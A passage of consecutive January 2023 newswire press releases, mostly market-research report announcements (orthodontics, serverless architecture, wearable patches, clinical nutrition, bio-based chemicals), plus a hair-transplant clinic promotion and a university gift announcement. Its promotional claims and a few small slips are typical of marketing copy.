The global orthodontic treatment market is segmented into North America, Europe, Asia Pacific, Latin America, and the Middle East & Africa. In 2021, North America accounted for the largest share of this market, followed by Europe. Asia Pacific registered the highest growth during the forecast period. Emerging Asian economies, such as China, India, and Singapore, are likely to provide high orthodontic supplies market growth opportunities. Improved healthcare infrastructure, increasing healthcare expenditures, rising number of dental clinics in and the emergence of small players offering wide range of orthodontic products in the region is likely to support the rapid market growth of Asia Pacific during the forecast period.

Report Attribute Details No. of Pages 249 Forecast Period 2022 - 2027 Estimated Market Value (USD) in 2022 $6.9 Billion Forecasted Market Value (USD) by 2027 $10.1 Billion Compound Annual Growth Rate 7.9% Regions Covered Global

Market Dynamics

Drivers

Growing Number of Patients with Malocclusions, Jaw Diseases, Tooth Decay/Tooth Loss, and Jaw Pain

Increasing Disposable Incomes and Expanding Middle-Class Population in Developing Countries

Increasing Awareness About Advanced Orthodontic Treatments

Ongoing Research and Technological Advancements in Orthodontic Products

Restraints

Risks and Complications Associated with Orthodontic Treatments

High Cost of Advanced Orthodontic Treatments in Some Nations

Opportunities

Growth Opportunities Offered by Emerging Markets

Integration with Digital Technologies Such as CAD/CAM Software

Increasing Use of Social Media by Patients and Dental Professionals

Direct-To-Consumer Orthodontics

Challenges

Dearth of Trained Dental Practitioners

Key Topics Covered:





1 Introduction

2 Research Methodology

3 Executive Summary

4 Premium Insights

5 Market Overview

6 Orthodontic Supplies Market, by Product

7 Orthodontic Supplies Market, by Patient

8 Orthodontic Supplies Market, by End-user

9 Orthodontic Supplies Market, by Region

10 Competitive Landscape

11 Company Profiles

12 Appendix

Companies Mentioned

3M

Aditek Orthodontics

Align Technology

American Orthodontics

Db Orthodontics

Dentaurum

Dentsply Sirona

Envista Holdings Corporation

Eurodonto

Forestadent Bernhard Forster GmbH

G&H Orthodontics

Great Lakes Dental Technologies

Henry Schein

Institut Straumann Ag

Jiscop Co., Ltd.

Jj Orthodontics

Matt Orthodontics

Morelli Ortodontia

Ortho Caps GmbH

Orthometric

Rocky Mountain Orthodontics

Sino Ortho Limited

Tecnidentusa, LLC.

Tp Orthodontics

Ultradent Products





For more information about this report visit https://www.researchandmarkets.com/r/od7pzt

About ResearchAndMarkets.com

ResearchAndMarkets.com is the world's leading source for international market research reports and market data. We provide you with the latest data on international and regional markets, key industries, the top companies, new products and the latest trends.

Attachment
Selbyville, Delaware, Jan. 24, 2023 (GLOBE NEWSWIRE) -- The serverless architecture market valuation is anticipated to reach USD 90 billion by 2032, as reported in a research study by Global Market Insights Inc .

Rapid penetration of the internet of things (IoT) and bring-your-own-device (BYOD) models, particularly driven by the emergence of the pandemic will complement the market outlook. The widespread availability of associated systems and technical aid will boost customer inclination toward serverless architecture. There has been a growing preference for business process automation among large enterprises to save time and energy spent on repetitive tasks and cut down on operational costs. Additionally, increasing adoption of cloud platforms to manage operational tasks involving the distribution of resources will positively affect business trends.

Request for a sample of this research report @ https://www.gminsights.com/request-sample/detail/3796

The serverless architecture market from the security service segment is projected to register 26% CAGR from 2023 to 2032. Growing concerns associated with security and rising incidences of cyberattacks worldwide are encouraging enterprises to adopt robust IT infrastructure.

To cite an instance, in April 2022, the well-known Indian loan platform CashMama reported a data breach that resulted in undesired exposure of invasively collected customer data. The IT Governance reported a total of 1,243 security incidents in 2021, showcasing an 11% surge in security breaches from 1,120 in 2020. High level of sophistication associated with todays cyber threats is further propelling the need for serverless architecture to ensure an optimum level of security.

The serverless architecture market from public cloud deployment model segment valued at 60% revenue share in 2022. The public cloud helps delivery cloud computing services through a public internet ecosystem and is easily accessible to all enterprises. As businesses seek more advanced yet cost-effective solutions, public cloud has emerged as a promising tool. Due to its multi-tenancy nature, public cloud models allow multiple users to share a repository of computing resources and reduce financial burden. Growing popularity of the public cloud can be attributed to improved security, scalability, and ease of maintenance.





The serverless architecture market from SMEs segment is estimated to record a CAGR of around 27% between 2023 and 2032. SMEs are increasingly shifting focus towards the potential benefits associated with the integration of cloud computing solutions. Growing awareness regarding the ability of cloud computing to provide on-demand computing resources, reduce expenditure, and facilitate remote computing will accelerate demand for serverless architecture across SMEs. A rising number of SMEs adapting to the ongoing digitization of businesses and modern approaches with changing offices and part-time professionals will proliferate the need for remote computing to ensure business continuity.

The serverless architecture market from manufacturing application sector is poised to observe around 28% growth rate till 2032. Digital technologies are extensively used by manufacturing companies to improve production output and overall efficiency. New trends such as automated manufacturing, digitization, and the advent of industry 4.0 are expected to stimulate the serverless architecture industry. Increasing manufacturing output and supportive government efforts to consolidate significant growth in industrial production will encourage more end-users to adopt serverless architecture.

North America serverless architecture market accounted for 42% revenue share in 2022. North America is a technology hub with a high concentration of leading technology companies such as Oracle, IBL, and Alphabet, among others. The region offers lucrative scope for innovation in the space of serverless architecture. With an increasing number of businesses shifting to cloud and virtual presence along with a large number of startups conducting businesses partially or entirely digitally, the demand for serverless architecture is likely to increase at a sustainable pace.

IBM Corporation, Dynatrace Inc., Elastic, Broadcom SA, Oracle, and Alphabet Inc. are some of the leading companies in the global serverless architecture market. These companies are implementing strategic collaborations and deals to achieve competitive advantages.

Secure a copy of the premium research report @ https://www.gminsights.com/securecheckout/paymenta/3796?gmpaycod=sugmp

Partial chapters of report table of contents (TOC):

Chapter 2 Executive Summary

2.1 Serverless Architecture industry 360 synopsis, 2018  2032

2.2 Business trends

2.2.1 Total addressable market (TAM) trends, 2023 - 2032

2.3 Regional trends

2.4 Service trends

2.5 Deployment Model trends

2.6 Organization Size trends

2.7 Application trends

Chapter 3 Serverless Architecture Market Insights

3.1 Introduction

3.2 Impact of COVID-19 outbreak

3.2.1 By region

3.2.1.1 North America

3.2.1.2 Europe

3.2.1.3 Asia Pacific

3.2.1.4 Latin America

3.2.1.5 Middle East & Africa

3.2.2 Strategies by major players to regain pre-COVID level growth

3.3 Impact analysis of Russia-Ukraine war

3.4 Serverless Architecture industry ecosystem analysis

3.4.1 Serverless architecture technology providers

3.4.2 System Integrators

3.4.3 Data center operators

3.4.4 End-users

3.4.5 Profit margin analysis

3.4.6 Vendor matrix

3.5 Technology & innovation landscape

3.5.1 Serverless at the edge

3.5.2 Function-as-a-Service (FaaS)

3.5.3 Serverless security

3.5.4 Serverless DevOps

3.6 Patent analysis

3.7 Investment portfolio

3.8 Industry news

3.8.1 North America

3.8.2 Europe

3.8.3 Asia Pacific

3.8.4 Latin America

3.8.5 Middle East & Africa

3.9 Regulatory landscape

3.9.1 International Standards

3.9.2 North America

3.9.3 Europe

3.9.4 Asia Pacific

3.9.5 Latin America

3.9.6 MEA

3.10 Industry impact forces

3.10.1 Growth drivers

3.10.1.1 Rising need of serverless computing for DevOps practices

3.10.1.2 Growing need to eliminate complexities in server provisioning

3.10.1.3 Rapid advancements in cloud computing technologies

3.10.1.4 Penetration of IoT and BYOD

3.10.1.5 Growing affinity of enterprises towards microservices

3.10.2 Industry pitfalls & challenges

3.10.2.1 Lack of technology expertise and relative complexities

3.10.2.2 Critical risks associated with serverless architecture

3.11 Growth potential analysis

3.12 Porters analysis

3.12.1 Bargaining power of suppliers

3.12.2 Bargaining power of buyers

3.12.3 The threat of new entrants

3.12.4 The threat of substitute

3.12.5 Competitive rivalry

3.13 PESTEL analysis

3.13.1 Political

3.13.2 Economic

3.13.3 Social

3.13.4 Technological

3.13.5 Legal

3.13.6 Environmental

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Global Market Insights Inc., headquartered in Delaware, U.S., is a global market research and consulting service provider, offering syndicated and custom research reports along with growth consulting services. Our business intelligence and industry research reports offer clients with penetrative insights and actionable market data specially designed and presented to aid strategic decision making. These exhaustive reports are designed via a proprietary research methodology and are available for key industries such as chemicals, advanced materials, technology, renewable energy, and biotechnology.
Dublin, Jan. 24, 2023 (GLOBE NEWSWIRE) -- The "Wearable Patches Market - A Global and Regional Analysis: Focus on Usage Type, Application, End User, and Region - Analysis and Forecast, 2022-2031" report has been added to ResearchAndMarkets.com's offering.

The global wearable patches market was valued at $8,650.0 million in 2021 and is projected to reach $26,892.7 million by the end of 2031. Furthermore, the market is anticipated to grow at a CAGR of 11.06% during the forecast period 2022-2031.

The market is driven by factors such as the continuous monitoring and minimum interference with body movement for measurement of vital signs of patients, increasing prevalence of chronic disorders (diabetes, strokes, etc.), rising technological advancement (increased connectivity with cell phones and precise data), and growing geriatric population.

The wearable patches market is in the developed phase. Having an end-to-end platform for services and AI algorithms for wearable patches for better clinical outcome are some of the major opportunities in the global wearable patches market.

Impact of COVID-19

The COVID-19 pandemic impacted practically all sectors and social functions worldwide, including the wearable patches market. However, the wearable patches market sustained this impact as the demand for continuous monitoring with reduced contact increased during the pandemic.

During this period of fast expansion, the industry has learned to be adaptable and versatile. The necessity to harness and use digital infrastructure for remote monitoring has been brought into stark relief by the COVID-19 outbreak. There is a need for further effective disease monitoring and detection of individual and public health, which might be facilitated by wearable sensors, as current viral testing and vaccines are less patient compliant.

The application of this methodology toward predicting the probability of COVID-19 is still required, even though its value has been used to associate physiological measures with activities of daily existence and human performance. Users of wearable technology could receive alerts when changes in their parameters match those linked to COVID-19 when combined with predictive platforms.

How can this report add value to an organization?

Usage Type: The usage type segment helps the reader understand the different usage type of wearable patches available in the market. Moreover, the study provides the reader with a detailed understanding of products that fall under the main segments such as blood glucose patch, heart rate and ECG patch, temperature patch, TENS and EMS patch, and others.

Growth/Marketing Strategy: The wearable patches market has witnessed major development by key players operating in the market, such as product launches, business expansions, partnerships, collaborations, merger and acquisitions, funding activities, and regulatory and legal approvals.

The favored strategy for the companies has been business expansions, partnerships, and collaborations to strengthen their position in the market. For instance, in September 2022, Senseonics announced a collaboration with the University Hospitals Accountable Care Organization (UHACO) in Cleveland, Ohio.

Competitive Strategy: The key players in the wearable patches market analyzed and profiled in the study involve established and emerging players that offer different products for wearable patches.

Moreover, a detailed competitive benchmarking of the players operating in the wearable patches market has been done to help the reader understand the ways in which players stack against each other, presenting a clear market landscape. Moreover, comprehensive competitive strategies such as partnerships, agreements, collaborations, mergers, and acquisitions will help the reader understand the untapped revenue pockets in the market.

Recent Developments in the Global Wearable Patches Market

In September 2022, Senseonics announced a collaboration with the University Hospitals Accountable Care Organization (UHACO) in Cleveland, Ohio.

In June 2022, Abbott announced that it is developing a new biowearable, "Glucose-Ketone Monitoring System" that will continuously monitor glucose and ketone levels in one sensor.

In June 2022, Blue Spark Technologies Joined Medidata's Sensor Cloud Network , which aims to overcome barriers limiting the full adoption of medical sensors--including data integration and standardization.

In May 2022, BioIntelliSense introduced the BioButton Rechargeable Wearable Device for Continuous Medical Grade Monitoring of 20+ Vital Signs and Biometrics, a new product from BioIntelliSense.

In April 2022, Blue Spark received a $40M funding for remote monitoring wearables.

In April 2022, Carevive Systems and Blue Spark Technologies partnered to conduct Real-Time Remote Patient Monitoring Pilot.

In April 2022, Insulet launched New Omnipod 5 System Data for Type 1 and Type 2 Diabetes.

Market Segmentation

Application:The wearable patches market (by application) is expected to be dominated by the monitoring and diagnostics segment.

Usage Type:The wearable patches market (by usage type) is expected to be dominated by the blood glucose patch segment.

End User:The wearable patches market (by end user) is dominated by the homecare segment.

Region:North America held the largest share of the wearable patches market in 2021, and the trend is anticipated to continue during the forecast period 2022-2031.

Key Market Players and Competition Synopsis

The companies that are profiled have been selected based on inputs gathered from primary experts and analyzing company coverage, product portfolio, and market penetration.

Company Profiles

Established Companies

Abbott Laboratories

Bittium Corporation

Boston Scientific Corporation

iRhythm Technologies, Inc.

Koninklijke Philips N.V.

Masimo Corporation

Medtronic plc

OMRON Corporation

Senseonics Holdings, Inc.

Emerging Companies

Alio, Inc.

AliveCor Inc.

BioIntellisense, Inc.

Samay

Theranica Bio-Electronics Ltd.

VitalConnect Inc.

VivaLNK Inc.

Key Topics Covered:

1 Markets

1.1 Global Market Outlook

1.1.1 Product Definition

1.1.2 Inclusion and Exclusion Criteria

1.1.3 Key Findings

1.1.4 Global Market Scenario

1.1.4.1 Realistic Growth Scenario

1.1.4.2 Optimistic Growth Scenario

1.1.4.3 Pessimistic Growth Scenario

1.2 Industry Outlook

1.2.1 Key Trends

1.2.1.1 Seamless Connectivity among Devices

1.2.1.2 Use of Wearable Patches to Improve Patient Healthcare Outcomes with Machine Learning Algorithms

1.2.1.3 Increase in Adoption of Wearable Patches for Homecare Settings

1.2.2 Technology Landscape

1.2.3 Product Benchmarking

1.2.4 Wearable Patch Material

1.2.5 Patent Analysis

1.2.5.1 Patent Publication Growth Trend

1.2.5.2 Patent Analysis (by Country/Cluster)

1.2.6 Product Under Development

1.3 Impact of COVID-19

1.3.1 Rise in the Adoption of Wearable Patches

1.3.2 Data Collection and Saving of Medical Records

1.3.3 Impact on Market Size

1.3.3.1 Pre-COVID-19 Phase

1.3.3.2 During COVID-19 Phase

1.3.3.3 Post-COVID-19 Phase

1.4 Business Dynamics

1.4.1 Impact Analysis

1.4.2 Business Drivers

1.4.2.1 Continuous Monitoring and Minimum Interference with Body Movement for Measurement of Vital Signs of Patients

1.4.2.2 Increasing Prevalence of Chronic Disorders (Diabetes, Strokes, etc.)

1.4.2.3 Rising Technological Advancement (Increased Connectivity with Cellphones and Precise Data)

1.4.2.4 Growing Geriatric Population

1.4.3 Business Restraints

1.4.3.1 High Cost and Lack of Adequate Reimbursement Limiting the Adoption of Wearable Patches

1.4.3.2 Concerns Regarding Data Privacy and Security of the Data Collected from Wearable Patches

1.4.4 Business Opportunities

1.4.4.1 Having an End-to-End Platform for Services

1.4.4.2 AI Algorithms for Wearable Patches for Better Clinical Outcome

2 Global Wearable Patches Market (by Application)

2.1 Opportunity Assessment

2.2 Growth-Share Matrix

2.3 Monitoring and Diagnostics

2.4 Therapeutics

3 Global Wearable Patches Market (by Usage Type)

3.1 Opportunity Assessment

3.2 Growth-Share Matrix

3.3 Temperature Patch

3.4 Blood Glucose Patch

3.5 Heart Rate and ECG Patch

3.6 TENS and EMS Patch

3.7 Others

4 Global Wearable Patches Market (by End User)

4.1 Opportunity Assessment

4.2 Growth-Share Matrix

4.3 Homecare

4.4 Hospital and Ambulatory Surgical Center

5 Region

5.1 Key Finding and Opportunity Assessment

5.2 Regulatory Framework

5.3 Market Dynamics

5.3.1 Impact Analysis

5.3.2 Business Drivers

5.3.3 Business Restraints

5.4 Market Sizing and Forecast

6 Market-Competitive Benchmarking and Company Profiles

6.1 Competitive Landscape

6.1.1 Regulatory and Legal Activities

6.1.2 New Offerings

6.1.3 Partnerships, Collaborations, and Business Expansions

6.1.4 Mergers and Acquisitions

6.1.5 Funding Activities

For more information about this report visit https://www.researchandmarkets.com/r/vuy45j

About ResearchAndMarkets.com

ResearchAndMarkets.com is the world's leading source for international market research reports and market data. We provide you with the latest data on international and regional markets, key industries, the top companies, new products and the latest trends.

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Dublin, Jan. 24, 2023 (GLOBE NEWSWIRE) -- The "U.S. Clinical Nutrition Market - Industry Outlook & Forecast 2022-2027" report has been added to ResearchAndMarkets.com's offering.



The U.S. clinical nutrition market is expected to grow at a CAGR of 5.49% during 2022-2027.

The innovation in personalized and targeted clinical nutrition solutions delivers new industry growth opportunities in the U.S. clinical nutrition market. The personalization and targeted solution approach stand with specific formulations that fulfill the need for nutritional support for patients suffering from chronic diseases and associated illnesses.

In addition, the COVID-19 pandemic positively influenced the innovation in targeted and personalized clinical nutrition solutions. On another side, the increasing birth rate and the rising demand for milk-based nutritional support products by infants and toddler gives new aspects for vendors in the U.S. clinical nutrition market.

Clinical nutrition, known as medical nutrition, is the practice of analyzing and identifying whether an individual is consuming an adequate amount of nutrients for health. It can also be defined as the study of an overall analysis relationship between ingested meals and the well-being of a person's body. Clinical nutrition prioritizes the management of nutritional adjustment and helps diagnose and prevent nutritional level changes in the human body suffering from chronic conditions.

The U.S. government implements a tremendous breadth and depth of initiatives relevant to the country's nutrition level. So, the increasing government initiatives to improve the country's nutritional health and the rising concern about food insecurity across US families are expected to drive significant U.S. clinical nutrition market growth. In addition, the increasing geriatric population and chronic disease prevalence are constantly fueling industry growth.

Obesity, hypertension, gastrointestinal disorders, CVD, and other primary health conditions primely accelerate the country's malnutrition rate, creating a high demand for clinical nutrition. However, there are some limitations to the industry growth, like potential side-effects associated with clinical nutrition and challenges in enteral nutrition deliveries, pediatric ICU patients, and more, hampering the industry growth.

MARKET TRENDS & DRIVERS

Increasing Demand for the Personalized and Targeted Clinical Nutrition

Personalized clinical nutrition is one of the trending approaches in clinical nutrition to fulfill the nutritional demand of every individual patient suffering from specific conditions.

The targeted nutrition innovations deliver promising opportunities in medical practices and consumer and food production companies. Innovation in targeted and personalized solutions continues to grow and evolve rapidly in recent years with the increasing consumer demand from food systems to support their health and well-being.

In addition, there is an increase in the number of digital tools in the research phase to calculate the nutrition requirement, scan the food based on appearance and help the individuals monitor their nutrition intake. This will further revolutionize the U.S. clinical nutrition market in the future.

Increasing Demand For The Infant Nutrition

One of the significant concerns in infants and toddlers arising rapidly in the US is the low-weight birth rate. About one in 12 babies is born with a low birth rate in the US. Increasing infant birth rates with lower weight delivers significant industry growth opportunities in milk-based nutritional products for U.S. clinical nutrition market players. Milk-based nutritional products are not new in the industry, but increasing demand and high competition among the industry players resulted in innovative product deliveries in recent years.

In 2021, the North American Based Organization Nutricia (by Danone) got approval for the new infant nutrition product Fortini from US FDA. This product is developed to support children living with the risk of growth deficiencies and those with increased energy requirements.

VENDOR LANDSCAPE



Abbott, B. Braun Melsungen Ag, Baxter, Danone, Fresenius Kabi, Nestle, Perrigo Company, and Reckitt Benckiser Group are the leading players in the U.S. clinical nutrition market players, accounting for the higher industry share in the United States.

On the other hand, emerging players and new start-ups are trying to achieve a solid customer base and market expansion. The presence of emerging industry players positively influences the competition in the clinical nutrition market in the US. The primary competition among the industry players accounted due to new product launches, emerging, and gold standard formulations.



Competition Among the Major Industry Players

Abbott's Ensure is one of the leading clinical nutrition products used in the U.S. clinical nutrition market. This product significantly drives the company's high customer base and delivers higher revenue yearly.

Danone is a leading industry player offering specialized nutrition comprising Advanced Medical Nutrition (AMN) and Early Life Nutrition solutions.

Perrigo Company is one of the leading companies offering store-brand self-care products, including toddler and infant formulas and pediatric and adult nutrition drinks.

Key Vendors

Abbott

B. Braun Melsungen Ag.

Baxter

Danone

Fresenius Kabi

Nestle

Perrigo Company

Reckitt Benckiser Group

Other Prominent Vendors

ADM

Ajinomoto Co

BASF SE

DSM

Envara Health

Glanbia plc

Hero Nutritionals

Hum Nutrition

Kendal Nutricare

Lonza

Lactalis Nutrition Sante

MEND

MediFood International SA

Primus Pharmaceuticals

SternLife GmbH & Co. KG

The Craft Heinz Company

Vivante Health

Wakefield-Vette

Key Topics Covered:



1 Research Methodology



2 Research Objectives



3 Research Process



4 Scope & Coverage

4.1 Market Definition

4.2 Base Year

4.3 Scope of the Study



5 Report Assumptions & Caveats



6 Market at a Glance



7 Introduction

7.1 Overview



8 Premium Insights

9 Market Opportunities & Trends

9.1 Innovation in Personalization and Targeted Solutions

9.2 Increasing Demand for Infant Nutrition

9.3 Advances in Nutritional Therapies

9.4 Shift Toward Home Nutritional Care



10 Market Growth Enablers

10.1 Government Initiatives, Investments, and Funding for Clinical Nutrition Research

10.2 Increasing Chronic Disease Prevalence Requires Nutritional Support

10.3 Impact of Covid-19 on Clinical Nutrition



11 Market Restraints

11.1 Side Effects and Complications Due to Clinical Nutrition

11.2 Barriers to Delivering Enteral Nutrition in Pediatric ICU

11.3 High Cost of Clinical Nutrition



12 Market Landscape

12.1 Market Overview

12.2 Market Size & Forecast

12.3 Five Forces Analysis



13 Route of Administration

13.1 Market Snapshot & Growth Engine

13.2 Market Overview

13.3 Oral

13.4 Enteral

13.5 Parenteral



14 Product

14.1 Market Snapshot & Growth Engine

14.2 Market Overview

14.3 Powder

14.4 Liquid

14.5 Semi-Solid



15 Age Group

15.1 Market Snapshot & Growth Engine

15.2 Market Overview

15.3 Child and Teenager

15.4 Adult

15.5 Infant & Toddler

15.6 Geriatric



16 Application

16.1 Market Snapshot & Growth Engine

16.2 Market Overview

16.3 Malnutrition

16.4 Metabolic Disorders

16.5 Gastrointestinal Diseases

16.6 Cancer



17 Distribution Channel

17.1 Market Snapshot & Growth Engine

17.2 Market Overview

17.3 Institutional Sales

17.4 Supermarket & Hypermarket

17.5 Online Channels

17.6 Pharmacies & Drug Stores

17.7 Specialty Stores



18 End-User

18.1 Market Snapshot & Growth Engine

18.2 Market Overview

18.3 Hospitals

18.4 Individual

18.5 Homecare

18.6 Long-Term Care Centers



19 Competitive Landscape

19.1 Competition Overview

19.2 Market Share Analysis

For more information about this report visit https://www.researchandmarkets.com/r/y3ntbf

About ResearchAndMarkets.com

ResearchAndMarkets.com is the world's leading source for international market research reports and market data. We provide you with the latest data on international and regional markets, key industries, the top companies, new products and the latest trends.

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ISTANBUL, Jan. 24, 2023 (GLOBE NEWSWIRE) -- Introducing Smile Hair Clinic, a leading hair transplant clinic in Istanbul, Turkey. The clinic has established itself as a leader in the global market for hair transplantation, and is known for providing high-quality, affordable treatments to patients from all over the world. With a team of experienced doctors and state-of-the-art facilities, Smile Hair Clinic continues to be a top destination for those seeking hair transplantation.

The rise of hair transplants and medical tourism in Turkey

In addition to experienced doctors, new and advanced hair transplant techniques, and modern medical equipment, Turkish clinics are attractive for a number of other reasons:

Affordable prices - based on prices offered by Istanbul-based Smile Hair Clinic, surgeries in Turkey range from 2,000 to 7,000. In the U.S., the same procedure and quality of service costs between $11,500 and $16,000.

High-quality care - as part of the so-called all-inclusive package, Turkish patients get private transport from the airport to the hotel and clinic, a hotel room with five or four stars, pre-op consultation, and remote post-op care, as well as a personal translator.

Zero waiting time - though there's no shortage of patients in Turkish clinics, the wait times are still significantly lower compared to other countries. This is because patients have many great clinics to choose from.

Medical tourism - since hair transplantation is a minimally invasive surgical procedure, patients can take the opportunity to visit some of the world-famous tourist attractions while in Istanbul.

Quality hair transplantation achieves natural-looking results

Because of so many excellent options offered by the hair transplant industry, people don't have to wait to go bold to undergo surgery. A whopping two-thirds of adult men experience hair loss (alopecia) to some degree, and more now that hair loss is recognized as a post-COVID symptom.

How does a hair transplant procedure work?

There are a number of different hair transplant techniques, the most popular are FUE (Follicular Unit Extraction) and DHI (Direct Hair Fusion). They involve taking healthy hair follicles from a donor area and implanting them into bald spots. On average, a hair transplant procedure lasts for eight hours under local anesthesia.

The recovery is immediate and painless. Most clinics transport patients back to the hotel to rest right after surgery. The entire procedure, from pre-op consultation to the flight back home, lasts three to four days.

New hair starts to grow within the first couple of weeks after a hair transplant operation. The first results are visible after five or six months, while a full head of hair can be expected after a year. As for the quality of the end result, there are many hair transplants before and after pictures online that speak enough of the Turkish commitment to excellence.

Contact Information:

Burak Onal

Crabs Media

info@crabsmedia.com

+(90) 553 089 26 59



Related Images











Image 1: Smile Hair Clinic in Istanbul





Smile Hair Clinic - hair transplant planning









This content was issued through the press release distribution service at Newswire.com.

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Atlanta, Georgia, Jan. 24, 2023 (GLOBE NEWSWIRE) -- A $15 million gift from The Starr Foundation to Georgia State University will dramatically expand and enhance its risk education programs and elevate the highly regarded programs stature worldwide.

The transformational gift is the largest in the history of Georgia States J. Mack Robinson College of Business. It will be used to accomplish the following:

Establish an honors scholarship program to recruit and support the most promising scholars from across the nation who wish to study risk management, insurance, or actuarial science

Develop a cross-disciplinary program, including endowed scholarships, for students pursuing other majors across the university to gain the specialized educational experiences necessary to enter the insurance industry

Create a new physical space to house the program and provide a modern learning environment for its students

In recognition of this gift, Georgia State will rename its Department of Risk Management & Insurance as the Maurice R. Greenberg School of Risk Science, pending approval by the University System of Georgias Board of Regents. Greenberg is chairman and CEO of Starr Insurance Companies, a leading global insurance and investment organization, and also chairman of The Starr Foundation.

We are deeply grateful to The Starr Foundation for investing in one of the universitys top-performing and most prestigious departments, said President M. Brian Blake. This gift ensures our risk management and insurance programs will continue to produce incredible graduates and outstanding research, all while honoring a legendary insurance executive.

The Starr Foundation was established in 1955 by Cornelius Vander Starr, an insurance entrepreneur who founded C.V. Starr & Co. and other international insurance companies. Mr. Starr named Greenberg as his successor in 1968. In 1969, Mr. Greenberg formed American International Group, Inc. (AIG) from several of Starrs insurance companies and took it public. He served as AIGs chairman and CEO until March 2005. Under his nearly 40 years of leadership, AIG grew from an initial market value of $300 million to $180 billion, becoming the largest insurance company in the world.

With Greenberg as its chairman, The Starr Foundation has made more than $3.8 billion in grants to many academic, medical, cultural, and public policy organizations worldwide.

The commercial insurance industry--a driving force of the global economy--must be committed to attracting and nurturing the best and brightest young leaders. Helping Georgia State continue to build one of the nations best insurance programs will ensure that happens, said Mr. Greenberg.

The Starr Foundation is honored to provide scholarship support for Georgia State students at a pivotal time in their lives, said Florence A. Davis, president of The Starr Foundation.

Georgia States Department of Risk Management & Insurance has been a leader in risk and insurance education and research for nearly 70 years. Created initially as the Department of Insurance, the name changed in the 1980s to reflect the units expanding scope of academic programs in alignment with the insurance industry, which was progressing to include risk management. Its undergraduate program is currently ranked No. 4 in the country, according to U.S. News & World Report, and the department is ranked No. 2 for actuarial science research productivity among all North American business schools.

Our focus on new technology and how we respond to an ever-changing industry has made us a national leader in the study of risk, said Richard Phillips, dean of the Robinson College. This gift will allow us to expand the kinds of questions our researchers can address related to complex risk challenges.

The Starr Foundation gift provides the resources to recruit top-tier students, create a university-wide talent development pipeline, and foster a research environment for addressing the future risk-related needs of consumers, firms, and society, said Stephen Shore, chair of the Department of Risk Management & Insurance. We are excited to prepare students for successful careers in high-demand, risk-related fields at a scale we could only dream about before.

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New Delhi, Jan. 24, 2023 (GLOBE NEWSWIRE) -- Global bio-based chemicals market was valued at US$ 128.5 billion in 2022 and is estimated to reach a valuation of US$ 271.7 billion by 2031, at a CAGR of 9.2%.

In order to better understand the potential of the bio-based chemicals market, Astute Analytica conducted an analysis of the sector. The study found that the market for bio-based chemicals is currently small, but it is growing quickly and presents a significant opportunity for companies that are able to meet the challenges associated with commercializing these products.

Get Free sample copy of this report @ https://www.astuteanalytica.com/request-sample/bio-based-chemicals-market

The study also identified a number of trends that are likely to shape the future development of the bio-based chemicals market. For example, the increasing availability of data and analytical tools is making it easier for companies to develop and commercialize new products. In addition, there is a growing trend towards using waste streams as feedstocks for bio-based chemicals, which presents an opportunity to create value from otherwise waste materials.

In particular, Astute Analytica sees opportunities for companies to develop new applications for existing technologies and to expand into new markets. For example, the use of enzymes for industrial processes is still in its early stages, but there is potential for enzymes to be used more widely in the future. In addition, many companies are focused on developing plant-based products, but there is also opportunity to develop products made from algae or other biomass sources.

As the industry grows, it will be important for companies to keep track of shifts in consumer preferences. For example, while baby boomers may be interested in sustainable products, younger consumers are often more concerned with price and performance. Bains analysis finds that companies that can successfully address these changing preferences will be well-positioned to succeed in the growing bio-based chemicals market.

Eco-friendly Evolution Trends: Bio-based Chemicals Market leading the charge

Increasing demand for sustainable and environmentally-friendly products: As consumers become more environmentally conscious, they are demanding more sustainable products. This is driving the demand for bio-based chemicals, which are considered more eco-friendly than traditional chemicals.

Government regulations: Governments around the world are imposing strict regulations on the use of traditional chemicals and promoting the use of bio-based alternatives. This is expected to drive the growth of the bio-based chemicals market in the forecast period.

Investment in research and development: Companies are investing in the research and development of new, cost-efficient production methods to reduce the cost of production and improve the performance of bio-based chemicals.

Growing use of bioplastics: Bioplastics, which are made from renewable resources, are a sustainable alternative to traditional plastics. They are increasingly being used in packaging, agriculture, and automotive applications, among others.

Development of advanced bio-based chemicals: Companies are investing in R&D to develop new bio-based chemicals with improved properties. These advanced bio-based chemicals are expected to have increased strength and durability, which will boost the market's growth over the forecast period.

Expansion of bio-based chemicals in industrial applications: The increasing use of bio-based products in industrial applications, such as paints & coatings, adhesives, lubricants, and polymers among others, is expected to drive the market's growth in the industrial segment.

Browse summary of the report and Complete Table of Contents (ToC): https://www.astuteanalytica.com/industry-report/bio-based-chemicals-market

Archer Daniels Midland Company, Cargill Incorporated, Dow Chemicals, Toray Industries Inc, Mitsubishi Chemicals Corporation and BASF SE are top 6 Players in the Global Bio-Based Chemicals Market

In terms of market share, Archer Daniels Midland Company, Cargill Incorporated, Dow Chemicals, Toray Industries, Mitsubishi Chemicals Corporation and BASF SE are top 6 players in the global biobased chemical market. They are collectively holding over 33.9% global market share. Wherein, Dow Chemicals holds a significant share of the market, due to its strong product portfolio and ongoing investments in research and development. The company is well-positioned to continue to lead the market in the future, thanks to its strong focus on innovation and sustainability.

According to Astute Analytica's analysis, Dow Chemicals is one of the leading players in the bio-based chemicals market. The company has a strong presence in the market and offers a wide range of bio-based products, such as bio-based plastics, bio-lubricants, and bio-surfactants. Dow Chemicals has a strong focus on research and development, which allows them to constantly innovate and improve their products.

Dow Chemicals has also been actively investing in the development of bio-based products and technologies. The company has invested in the development of bio-based polyethylene and bio-based propylene, which are used in a variety of applications, such as packaging, transportation and consumer goods. They also have research and development facility in the area of bio-based chemicals and bio-plastics that are used in the automotive, packaging, and construction industries.

Additionally, the company has also been actively working towards reducing its environmental impact. Dow Chemicals has set a goal to reduce its greenhouse gas emissions by 25% by 2030 and to use 100% renewable energy by 2050.

Top 5 Revenue Pockets in Bio-based Chemicals Market

There are several new revenue pockets in the bio-based chemicals industry that companies can explore. Some of these include:

Bioplastics: Bioplastics are made from renewable resources such as sugarcane, corn, and cassava, and are biodegradable. This makes them an attractive option for a variety of applications, including packaging, agriculture, and automotive. The market for bioplastics is expected to grow at a significant rate due to the increasing demand for sustainable and environmentally-friendly products, as well as government regulations promoting the use of bio-based alternatives.

Biobased lubricants: Biobased lubricants are made from renewable resources such as vegetable oils and animal fats. They are biodegradable and have a lower environmental impact than traditional lubricants. Biobased lubricants are used in a variety of applications, including automotive, industrial, and marine. The market for biobased lubricants is expected to grow due to the increasing demand for sustainable and environmentally-friendly products, as well as government regulations promoting the use of bio-based alternatives.

